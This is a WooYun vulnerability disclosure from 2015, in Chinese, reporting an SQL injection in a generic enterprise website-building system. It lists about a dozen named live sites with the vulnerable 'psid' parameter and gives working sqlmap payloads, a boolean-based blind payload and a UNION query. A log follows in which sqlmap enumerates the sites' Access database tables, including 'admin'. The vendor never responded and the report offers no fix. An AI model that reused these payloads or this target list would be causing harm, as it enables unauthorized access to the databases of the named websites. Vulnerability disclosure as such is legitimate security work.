当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103528

漏洞标题：某通用型企业建站系统SQL注入

相关厂商：紫华科技

漏洞作者： 路人甲

提交时间：2015-03-25 18:03

修复时间：2015-05-09 18:04

公开时间：2015-05-09 18:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某通用型企业建站系统SQL注入

详细说明：

http://www.bfyhyc.com/yjkxxx.asp?id=1&psid=1
http://www.bflad.com/yjkxxx.asp?id=1&psid=1
http://www.luoyangxiaofang.com/yjkxxx.asp?id=1&psid=1
http://www.lycbxf.com/yjkxxx.asp?id=1&psid=1
http://dzj777.com/yjkxxx.asp?id=1&psid=1
http://tjchangguan.com/yjkxxx.asp?id=1&psid=1
http://www.lydahua.com.cn/yjkxxx.asp?id=1&psid=1
http://www.13937942506.com/yjkxxx.asp?id=1&psid=1
http://lyjzdz.com/yjkxxx.asp?id=1&psid=1
http://www.liangxianjun.com/yjkxxx.asp?id=1&psid=1
http://www.qqldw.cn/yjkxxx.asp?id=1&psid=1
http://www.liangxianjun.com/yjkxxx.asp?id=1&psid=1

漏洞证明：

参数psid存在注入
测试：http://www.bfyhyc.com/yjkxxx.asp?id=1&psid=1

Place: GET
Parameter: psid
    Type: boolean-based blind
    Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
    Payload: id=1&psid=IIF(8323=8323,1,1/0)
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=1&psid=1 UNION ALL SELECT NULL,CHR(58)&CHR(100)&CHR(106)&CHR(109
)&CHR(58)&CHR(118)&CHR(66)&CHR(112)&CHR(116)&CHR(121)&CHR(84)&CHR(85)&CHR(105)&C
HR(90)&CHR(78)&CHR(58)&CHR(119)&CHR(110)&CHR(99)&CHR(58),NULL,NULL,NULL FROM MSy
sAccessObjects%00
---
[20:27:19] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[20:27:19] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[20:27:20] [WARNING] the SQL query provided does not return any output
[20:27:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[20:27:20] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[20:27:20] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:27:20] [INFO] retrieved:
[20:27:29] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[20:27:29] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[20:27:36] [INFO] checking table existence using items from 'D:\python\sqlmap\tx
t\common-tables.txt'
[20:27:36] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 9
[20:27:37] [INFO] starting 9 threads
[20:27:42] [INFO] retrieved: product
[20:27:46] [INFO] retrieved: admin
[20:27:57] [INFO] retrieved: news
[20:27:59] [INFO] retrieved: author
[20:28:01] [INFO] retrieved: setting
[20:28:03] [INFO] retrieved: book
[20:28:09] [INFO] retrieved: links
[20:33:40] [INFO] tried 1814/3142 items (58%)
[20:33:40] [WARNING] connection timed out while trying to get error page informa
tion (500)
Database: Microsoft_Access_masterdb
[7 tables]
+---------+
| admin   |
| author  |
| book    |
| links   |
| news    |
| product |
| setting |
+---------+


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝